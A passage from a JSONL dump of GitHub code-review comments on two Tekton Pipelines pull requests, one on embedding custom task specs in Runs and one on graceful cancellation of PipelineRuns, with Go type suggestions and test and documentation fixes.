"2021-05-18T13:28:02Z", "line": 70, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "nit: `In case, it does not support, custom controller` -> `In cases where it is not supported the custom controller`", "comment_id": 634378185, "created_at": "2021-05-18T13:28:40Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "nit: suggest dropping the comma here", "comment_id": 634380945, "created_at": "2021-05-18T13:31:39Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "Suggest changing `Because...` to `Using a webhook for validation is problematic because...`", "comment_id": 634382279, "created_at": "2021-05-18T13:33:08Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "Suggest adding a `Spec` nested here and validating that it's rendered to `Raw` as expected", "comment_id": 634445243, "created_at": "2021-05-18T14:35:04Z", "line": 74, "path": "test/custom_task_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "Ah, something I had not realised during TEP review is that this also means we're nesting `TaskSpec` fields (like pipeline resources etc,) and `PipelineTaskMetadata` fields (annotations, labels) into the `RunSpec`.\r\n\r\nIs there a reason to re-use `EmbeddedTask` here? Or could we introduce a new type that only includes the fields we want for `RunSpec`? E.g.\r\n\r\n```go\r\ntype EmbeddedRunSpec struct {\r\n\t// +optional\r\n\truntime.TypeMeta `json:\",inline,omitempty\"`\r\n\r\n\t// Spec is a specification of a custom task\r\n\t// +optional\r\n\tSpec runtime.RawExtension `json:\"spec,omitempty\"`\r\n}\r\n```", "comment_id": 634468081, "created_at": "2021-05-18T14:59:11Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "Sorry, another question after reviewing this with the pipelines owners group - what is the purpose of `runtime.TypeMeta` in this location? Would this potentially differ from the `run.apiVersion` and `run.kind`?", "comment_id": 634593841, "created_at": "2021-05-18T17:11:20Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": ">Sorry, another question after reviewing this with the pipelines owners group - what is the purpose of runtime.TypeMeta in this location? Would this potentially differ from the run.apiVersion and run.kind? \r\n\r\nIt will not differ from `run.apiVersion` and `run.kind`, my guess is for brevity we prefer this.\r\n\r\n>Is there a reason to re-use EmbeddedTask here? Or could we introduce a new type that only includes the fields we want for RunSpec? E.g.\r\n\r\nIntention is, custom tasks will become consistent with regular tasks at some point. Additionally, we need `PipelineTaskMetadata` to provide label to embedded task.\r\n", "comment_id": 634936296, "created_at": "2021-05-19T06:03:52Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "## TypeMeta\r\n\r\nAh, ok. Going back to the docs in this example helped clear things up for me wrt TypeMeta:\r\n\r\n```\r\napiVersion: tekton.dev/v1alpha1\r\nkind: Run\r\nmetadata:\r\n name: embedded-run\r\nspec:\r\n spec:\r\n apiVersion: example.dev/v1alpha1\r\n kind: Example\r\n spec:\r\n field1: value1\r\n field2: value2\r\n```\r\n\r\nThe run's API version and the spec's API version can differ - one describes the tekton resource \"tekton.dev/v1alpha1.Run\" and the other describes the Custom Task's own apiVersion and kind. I find this distinction _endlessly_ confusing but that's just the way it is with Custom Tasks. Apologies for muddying things up here. TypeMeta is fine as-is.\r\n\r\n---\r\n\r\n## EmbeddedTask\r\n\r\nI do want to avoid using `EmbeddedTask` if we can for the following reasons:\r\n- It brings baggage with it that we don't have a concrete use case for yet in Runs (e.g. pipeline resources).\r\n- All of the fields from `TaskSpec` are already representable by virtue of using `runtime.RawExtension` I think?\r\n- We can make `EmbeddedRunSpec` a subset of fields from `EmbeddedTask` and eventually converge them if that's a goal we have. Although I would also say here that I wasn't aware of this being a Goal - is it mentioned in the TEP or a comment on it? I probably missed it.\r\n\r\nSo to support metadata fields as well it sounds like the shape would become:\r\n\r\n```go\r\ntype RunSpecMetadata struct {\r\n\t// +optional\r\n\tLabels map[string]string `json:\"labels,omitempty\"`\r\n\r\n\t// +optional\r\n\tAnnotations map[string]string `json:\"annotations,omitempty\"`\r\n}\r\n\r\ntype EmbeddedRunSpec struct {\r\n\t// +optional\r\n\truntime.TypeMeta `json:\",inline,omitempty\"`\r\n\r\n\t// +optional\r\n\tMetadata RunSpecMetadata `json:\"metadata,omitempty\"`\r\n\r\n\t// Spec is a specification of a custom task\r\n\t// +optional\r\n\tSpec runtime.RawExtension `json:\"spec,omitempty\"`\r\n}\r\n```\r\n\r\nThe `createRun` func becomes a little more complicated because it has to copy values from the `EmbeddedTask` to the `EmbeddedRunSpec` but I much prefer we start with a constrained set of fields and expand it when needed. WDYT?", "comment_id": 635195403, "created_at": "2021-05-19T12:35:54Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "Thank you for the detailed explanation, and catching it sooner. No worries, as I have got to learn by discussion. TBH, my personal preference was this, but I was a bit confused. \ud83d\ude04 \r\n\r\nAlright, agree with you. \r\n\r\nDo you think we would need to update the TEP with above suggestion for types?", "comment_id": 635208117, "created_at": "2021-05-19T12:51:46Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "@sbwsg At the moment a `PipelineTask` has a nested `EmbeddedTask` and as a result, the custom task can be expressed under the field `taskSpec`. After this change, how will that change? \r\n\r\nFew options:\r\n1. We introduce a new optional field `spec` to store the `EmbeddedRunSpec` inside a `PipelineTask`. Downside, two different field with similar sounding field names and purposes.\r\n2. Leave current `EmbeddedTask` as is, and introduce a new type `EmbeddedRunSpec` for `Run`. Downside, same fields copied twice.\r\n3. Any other suggestions?", "comment_id": 635223691, "created_at": "2021-05-19T13:11:41Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "Once this PR is merged the TEP can be moved to `\"implemented\"` state. My suggestion would be to include these changes as part of that PR.\r\n\r\nAlso pinging @tektoncd/core-maintainers for any other opinions / feedback on the desired process here.", "comment_id": 635223977, "created_at": "2021-05-19T13:11:59Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "> Leave current EmbeddedTask as is, and introduce a new type EmbeddedRunSpec for Run. Downside, same fields copied twice.\r\n\r\nThis would definitely be my preference.", "comment_id": 635227870, "created_at": "2021-05-19T13:16:14Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "@ScrapCodes if duplication is a concern then we could also have a shared struct named something like `EmbeddedSpec` which holds the fields common to both `EmbeddedTask` and `EmbeddedRunSpec`. This might also make the relationship between the two clearer? e.g.\r\n\r\n```go\r\n// used by RunSpec and embedded by EmbeddedTask\r\ntype EmbeddedSpec struct {\r\n\t// +optional\r\n\truntime.TypeMeta `json:\",inline,omitempty\"`\r\n\r\n\t// +optional\r\n\tMetadata v1beta1.PipelineTaskMetadata `json:\"metadata,omitempty\"`\r\n\r\n\t// Spec is a specification of a custom task\r\n\t// +optional\r\n\tSpec runtime.RawExtension `json:\"spec,omitempty\"`\r\n}\r\n\r\n// in pipeline_types.go\r\ntype EmbeddedTask struct {\r\n\t// +optional\r\n\tEmbeddedSpec `json:'',inline,omitempty\"`\r\n\t\r\n\t// TaskSpec is a specification of a task\r\n\tTaskSpec `json:\",inline,omitempty\"`\r\n}\r\n```", "comment_id": 635378850, "created_at": "2021-05-19T15:57:06Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "Yes, indeed.", "comment_id": 635776795, "created_at": "2021-05-20T05:30:34Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "@sbwsg One question, now that `Metadata` field is shifted from `EmbeddedTask` to `EmbeddedSpec` which is inlined into `EmbeddedTask`, is it a matter of concern?", "comment_id": 636190571, "created_at": "2021-05-20T15:01:40Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "Please note, those already using the PipelineTaskMetadata field in the EmbeddedTask, will have to make this change. \r\n//cc @sbwsg ", "comment_id": 636688317, "created_at": "2021-05-21T07:11:04Z", "line": null, "path": "internal/builder/v1beta1/pipeline_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "Ah I see, the problem becomes for users who are interacting with Tekton by importing its types - they now have to update their code to populate the embedded struct. Is that right?\r\n\r\nThat's a really interesting point. I think this is an argument in favor of keeping the two structs (`EmbeddedRunSpec` and `EmbeddedTask`) as totally separate copies in that case.", "comment_id": 636812803, "created_at": "2021-05-21T10:29:46Z", "line": null, "path": "internal/builder/v1beta1/pipeline_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "ok, will update the code accordingly.", "comment_id": 636873119, "created_at": "2021-05-21T12:19:07Z", "line": null, "path": "internal/builder/v1beta1/pipeline_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "\ud83d\udc4d \r\n", "comment_id": 638083406, "created_at": "2021-05-24T16:10:22Z", "line": 775, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "Please add a reference to the TEP here so that its easier to relate to the proposal \ud83d\ude4f ", "comment_id": 638134134, "created_at": "2021-05-24T17:17:30Z", "line": 1203, "path": "docs/pipelines.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "the reference is invalid here, please replace it with `#1-specifying-the-target-custom-task-with-ref`", "comment_id": 638177874, "created_at": "2021-05-24T18:33:20Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "same here, please replace the reference with `#2-specifying-the-target-custom-task-by-embedding-its-spec`", "comment_id": 638178549, "created_at": "2021-05-24T18:34:04Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "same as above, the valid reference is `#1-specifying-the-target-custom-task-with-ref`", "comment_id": 638180238, "created_at": "2021-05-24T18:35:43Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "ditto \ud83d\ude43 valid reference here is ` #2-specifying-the-target-custom-task-by-embedding-its-spec`", "comment_id": 638182450, "created_at": "2021-05-24T18:37:51Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83c\udf89 ", "comment_id": 638221072, "created_at": "2021-05-24T19:28:21Z", "line": 782, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "We consider this as a required field so do we need to add `omitempty` clause here?", "comment_id": 638291097, "created_at": "2021-05-24T21:39:10Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "=> empty ref and spec", "comment_id": 638292262, "created_at": "2021-05-24T21:40:20Z", "line": 47, "path": "pkg/apis/pipeline/v1alpha1/run_validation_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "need an additional check here, if both are `nil`", "comment_id": 638295768, "created_at": "2021-05-24T21:43:44Z", "line": 44, "path": "pkg/apis/pipeline/v1alpha1/run_validation.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "the test name does not match with ref and spec both being `nil`, please add one more check in the validation routine and update this test.", "comment_id": 638297070, "created_at": "2021-05-24T21:45:04Z", "line": 47, "path": "pkg/apis/pipeline/v1alpha1/run_validation_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "Nothing wrong with your changes here, just an observation:\r\n\r\n`r.Spec.Ref.Kind` is of type `TaskKind` and that's why needs the conversion v/s `r.Spec.Spec.Kind` is of type `string`. `TaskKind` is also originally used to signify whether a task is `task` or `clustertask` but with custom task, it can be set to anything.", "comment_id": 638331982, "created_at": "2021-05-24T22:32:35Z", "line": 56, "path": "pkg/controller/filter.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "Please separate this entire logic into a separate function to check whether a task is a custom task and assign `rprt.CustomTask` appropriate value here based on that new function. `ResolvePipelineRunTask` will be simplified instead of making everything part of it.", "comment_id": 638339928, "created_at": "2021-05-24T22:50:27Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "what happens when `spec` is empty here? do we need a check here `rprt.PipelineTask.TaskSpec.Spec`?", "comment_id": 638341323, "created_at": "2021-05-24T22:54:09Z", "line": 771, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "there is no error for empty spec, in fact a non empty byte sequence is generated. Do you think we should be more defensive here?", "comment_id": 638472192, "created_at": "2021-05-25T05:49:12Z", "line": 771, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "Hi @pritidesai Thanks for observing !\r\n\r\nThe check above this covers the case if both are nil. Infact, previously when I was testing with the additional explicit check of both nil. The code was just unreachable. So ` equality.Semantic.DeepEqual(rs, &RunSpec{})` take care of both nil case as well. For the same reason, it is not possible to write a separate test.\r\nMatter of factly, There is a comment at` line 39`, just above the check explaining the same. \r\n\r\n", "comment_id": 638474476, "created_at": "2021-05-25T05:54:47Z", "line": 44, "path": "pkg/apis/pipeline/v1alpha1/run_validation.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "The reason is, both nil and `Empty spec` are same in terms of what happens underneath. \r\nActual check says, \r\n`if equality.Semantic.DeepEqual(rs, &RunSpec{}) {\t\treturn apis.ErrMissingField(\"spec\")` i.e. empty spec and so is the name. Please see the reply to your comment above as well, and let me know, if this is still concerning.", "comment_id": 638476216, "created_at": "2021-05-25T05:58:33Z", "line": 47, "path": "pkg/apis/pipeline/v1alpha1/run_validation_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @ScrapCodes \r\n\r\nright but the `DeepEqual` used this way checks if the `rs` is empty, for example: \r\n\r\nhttps://github.com/tektoncd/pipeline/blob/4ced3cb269db5d9a2b573003f200b20f77a54bdb/pkg/apis/pipeline/v1beta1/pipeline_validation.go#L45-L47\r\n\r\nThis check will not catch `rs.Spec` and `rs.Ref` both being nil if `rs` had any other field initialized. Since the run specifications are generated by the controller, this is not blocking this PR but since run specifications are being consumed by the custom controller, it will be great to have such validation here.", "comment_id": 639036370, "created_at": "2021-05-25T17:49:17Z", "line": 44, "path": "pkg/apis/pipeline/v1alpha1/run_validation.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "pritidesai", "body": "I am trying to think if there is any use case where the `spec` could be empty, could this ever be used in any way? \r\n\r\nSince this is not producing any error, its safe to go with the way its implemented now and revisit if needed in future.", "comment_id": 639107342, "created_at": "2021-05-25T19:01:33Z", "line": 771, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "Thanks, now I have understood ! Will open a PR with the fix soon.", "comment_id": 639405511, "created_at": "2021-05-26T05:12:46Z", "line": 44, "path": "pkg/apis/pipeline/v1alpha1/run_validation.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "souleb", "body": "The readme state to avoid using this pkg: https://github.com/tektoncd/pipeline/blob/main/internal/builder/README.md", "comment_id": 626521935, "created_at": "2021-05-05T12:31:43Z", "line": 129, "path": "internal/builder/v1beta1/pipeline.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "souleb", "body": "You probably need to put new api fields behind the new feature flag instead of deprecating.\r\nhttps://github.com/tektoncd/pipeline/blob/565c55b30e422fc7fca42bc122561aa231106204/pkg/apis/config/feature_flags.go#L62", "comment_id": 626530316, "created_at": "2021-05-05T12:43:38Z", "line": 231, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "souleb", "body": "would be nice to update the test function\r\nhttps://github.com/tektoncd/pipeline/blob/565c55b30e422fc7fca42bc122561aa231106204/pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go#L34", "comment_id": 626535939, "created_at": "2021-05-05T12:51:33Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "souleb", "body": "Also guard validating the new fields with the feature gate", "comment_id": 626536302, "created_at": "2021-05-05T12:52:03Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "souleb", "body": "can we have a test with the non deprecated stopping and cancelling fields?", "comment_id": 626641184, "created_at": "2021-05-05T14:54:05Z", "line": 103, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Thanks for pointing!\r\nThis pkg is used widely in `pkg/reconciler/pipelinerun/pipelinerun_test.go`. I added this function for consistency with other tests in that test suite.\r\nCould we stay with this approach and refactor the whole suite afterwards?", "comment_id": 627365029, "created_at": "2021-05-06T12:16:55Z", "line": 129, "path": "internal/builder/v1beta1/pipeline.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Thanks! Done.", "comment_id": 627365779, "created_at": "2021-05-06T12:18:04Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "souleb", "body": "Yeah having a specific PR to refactor that part sounds good.", "comment_id": 627692455, "created_at": "2021-05-06T19:04:30Z", "line": 129, "path": "internal/builder/v1beta1/pipeline.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "The new PipelineRunSpec status values (Cancelled, CancelledRunFinally, StoppedRunFinally) are now behind alpha API fields flag.", "comment_id": 628213005, "created_at": "2021-05-07T13:32:12Z", "line": 231, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "This test was added to cover deprecated status name (PipelineRunCancelled). The already existing ones cover the new status name (Cancelled).", "comment_id": 628215985, "created_at": "2021-05-07T13:36:35Z", "line": 103, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "souleb", "body": "Sorry to come back to this again. Here when the `alphaFields` is not enabled, we might have an error without any information given to the user. Would be nice to have a specific error in that case stating that it fails because the `alphaFields` are not enabled.\r\n\r\nThere is a helper function you may use:\r\nhttps://github.com/tektoncd/pipeline/blob/b86a9a2204d988fbd2b187f220d64b5a102c1ca3/pkg/apis/pipeline/v1beta1/version_validation.go#L30", "comment_id": 629427247, "created_at": "2021-05-10T14:50:59Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Thanks for pointing! Fixed", "comment_id": 629912358, "created_at": "2021-05-11T07:24:52Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "Hey @rafalbigaj lets keep this example as is with a note saying this `status` will be deprecated in V1, please use `Cancelled` instead. Also add a reference to the TEP in the doc. The rest of the changes to the doc looks good.", "comment_id": 636641233, "created_at": "2021-05-21T05:16:11Z", "line": 574, "path": "docs/pipelineruns.md", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Thanks @pritidesai for this suggestion!\r\nI updated docs and added link to TEP.", "comment_id": 636859014, "created_at": "2021-05-21T11:54:15Z", "line": 574, "path": "docs/pipelineruns.md", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @rafalbigaj for adding comprehensive set of tests \ud83d\ude4f \r\n\r\nCan we change this test to have two pipelineTasks instead of one and making sure no new taskruns are created?", "comment_id": 638452228, "created_at": "2021-05-25T04:52:50Z", "line": 1566, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "can we please add one more `dag` task here just to cover that task is not scheduled instead `taskRun` for finally is created.", "comment_id": 638452869, "created_at": "2021-05-25T04:54:44Z", "line": 1640, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "The comment and the check does not match.\r\n\r\nAlso, are we expecting two `taskRuns` here? The pipeline has one final task which has associated taskRun already running. And I think we are testing the final `taskRun` is not impacted and continues running, right?. There can not be one more taskRun. The `dag` can not be running after finally starts executing. ", "comment_id": 638456168, "created_at": "2021-05-25T05:04:57Z", "line": 1775, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83d\ude06 ", "comment_id": 638470713, "created_at": "2021-05-25T05:45:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "Instead of leveraging `stopping` for `CancelledRunFinally`, is it possible to not utilize `stopping` mode? How about introduce a `cancelledRunFinally` mode similar to `stopping`?", "comment_id": 638480444, "created_at": "2021-05-25T06:08:06Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Thanks for suggestion. The second task is in place.", "comment_id": 639756001, "created_at": "2021-05-26T14:00:42Z", "line": 1566, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Done. Thanks!", "comment_id": 639756429, "created_at": "2021-05-26T14:01:09Z", "line": 1640, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Thanks for pointing that. The comment now explains that one task run represents already completes task and the second one the running finally task.", "comment_id": 639758565, "created_at": "2021-05-26T14:03:28Z", "line": 1775, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Sure, makes sense.", "comment_id": 639758914, "created_at": "2021-05-26T14:03:51Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83c\udf89 ", "comment_id": 640997616, "created_at": "2021-05-27T21:57:53Z", "line": 286, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: perhaps \"alpha feature\" is enough ", "comment_id": 647283499, "created_at": "2021-06-08T09:36:43Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "Once we remove (after deprecation) we'll have to decide what to do about the alpha one - hopefully we won't be serving alpha API anymore :)", "comment_id": 647287005, "created_at": "2021-06-08T09:41:25Z", "line": 104, "path": "pkg/apis/pipeline/v1alpha1/pipelinerun_types.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "I realise that this is very similar to the function above, but this code can be simplied - as documented in the [dev docs](https://github.com/tektoncd/pipeline/tree/main/docs/developers#unit-testing-with-feature-gates):\r\n\r\n```\r\nfunc enableAlphaAPIFields(ctx context.Context) context.Context {\r\n\tfeatureFlags, _ := config.NewFeatureFlagsFromMap(map[string]string{\r\n\t\t\"enable-api-fields\": \"alpha\",\r\n\t})\r\n\tcfg := &config.Config{\r\n\t\tFeatureFlags: featureFlags,\r\n\t}\r\n\treturn config.ToContext(ctx, cfg)\r\n}\r\n```\r\n\r\nand in the test cases:\r\n```\r\nwc: enableAlphaAPIFields,\r\n```\r\n", "comment_id": 647317804, "created_at": "2021-06-08T10:33:49Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "I guess this covers the case of \"graceful cancellation / stop\" when a pipeline is running finally?\r\nBut I wonder if in that case we shouldn't simply ignore the cancel request and go on?\r\n\r\nLooking at the reconciler code, we only check if graceful cancel was request but not if we are running finally already. This means that the cancel code will be executed again and again while a pipeline is running finally. This works, but I wonder if we should check in `gracefullyCancelPipelineRun ` instead if we are currently running finally, and if so, just no-op and return?", "comment_id": 647337873, "created_at": "2021-06-08T11:10:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "Uhm, I think this is not ok... in `gracefullyCancelPipelineRun`, if we fail to cancel any of the `TaskRuns` or `Runs`, we set the status to `Unknown` with reason `ReasonCouldntCancel` (and no completion time) which means we intend for reconcile to continue. The next reconcile cycle should attempt to cancel again (and again).\r\nIf successful, it will run `finally` or it will eventually timeout. However, since we return a `PermanentError`, the key won't be re-queued, which means that it may happen that this pipeline is not reconciled again until timeout hits.\r\n\r\nNow, before this PR it didn't really matter, since there was nothing to do after cancel, but with graceful cancel we still have `finally` to run. \r\n\r\n", "comment_id": 647347555, "created_at": "2021-06-08T11:26:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "\ud83d\udc4d \r\n", "comment_id": 648949627, "created_at": "2021-06-10T08:06:54Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Thanks for pointing!", "comment_id": 648949963, "created_at": "2021-06-10T08:07:21Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "That's a very good point \ud83d\udcaf .\r\n\r\nI introduced `IsRunning` in `PipelineRunFacts`, which returns true if the `PipelineRun` is still running (non-final) tasks. Code seems to be much cleaner now.\r\n", "comment_id": 648952706, "created_at": "2021-06-10T08:10:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Thanks for catching up! \ud83d\udc4d \r\n\r\nI added test for retry scenario.", "comment_id": 648955691, "created_at": "2021-06-10T08:14:45Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "Nice! :)", "comment_id": 648992681, "created_at": "2021-06-10T08:59:33Z", "line": 302, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "afrittoli", "body": "Thanks for the cleanup", "comment_id": 649004163, "created_at": "2021-06-10T09:14:01Z", "line": 597, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "rafalbigaj", "body": "Yes, @pritidesai suggested that \ud83d\ude04 ", "comment_id": 649046287, "created_at": "2021-06-10T10:11:40Z", "line": 302, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @rafalbigaj for adding this check \ud83d\ude4f and setting it to deprecated reason when the deprecated status is set, it will be easier to cleanup and remove it from the project while upgarding to V1.", "comment_id": 649695966, "created_at": "2021-06-11T05:17:21Z", "line": 69, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: this check can be done outside of this function, i.e. do not call `gracefullyCancelPipelineRun` if `!pipelineRunFacts.IsRunning()` along with two other conditions in reconciler:\r\n\r\n```\r\nif cfg.FeatureFlags.EnableAPIFields == apisconfig.AlphaAPIFields && pr.IsGracefullyCancelled() {\r\n```\r\n\r\nThe reason being, `pipelineRunFacts` can be avoided being in the list of params since its not used anywhere else besides this `if` condition in `gracefullyCancelPipelineRun`.", "comment_id": 649699610, "created_at": "2021-06-11T05:28:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "Also, wouldn't this now cancel the running finally tasks? \ud83e\udd14 earlier we had a check here to see if a taskRun belongs to `finally` dag and if so, we did not cancel that particular taskRun.", "comment_id": 649702619, "created_at": "2021-06-11T05:37:06Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "sorry for confusion, I see how you changed this now. Do not attempt to cancel if any of the `dag` is not running, i.e. any of the finally is running. I think it might be better to check explicitly if any of the finally is running i.e `return nil if isFinallyRunning()` because `isRunning` returns `false` if there is no `taskRun` is associated with a `dag`. It could be possible that nothing is scheduled yet and pipeline is just starting.\r\n\r\nPlease feel free to explain/counter it if I am not understanding it right.", "comment_id": 649707303, "created_at": "2021-06-11T05:50:07Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3915, "repo": "pipeline"} +{"author": "pritidesai", "body": "this looks awesome, thank you @rafalbigaj for adding this 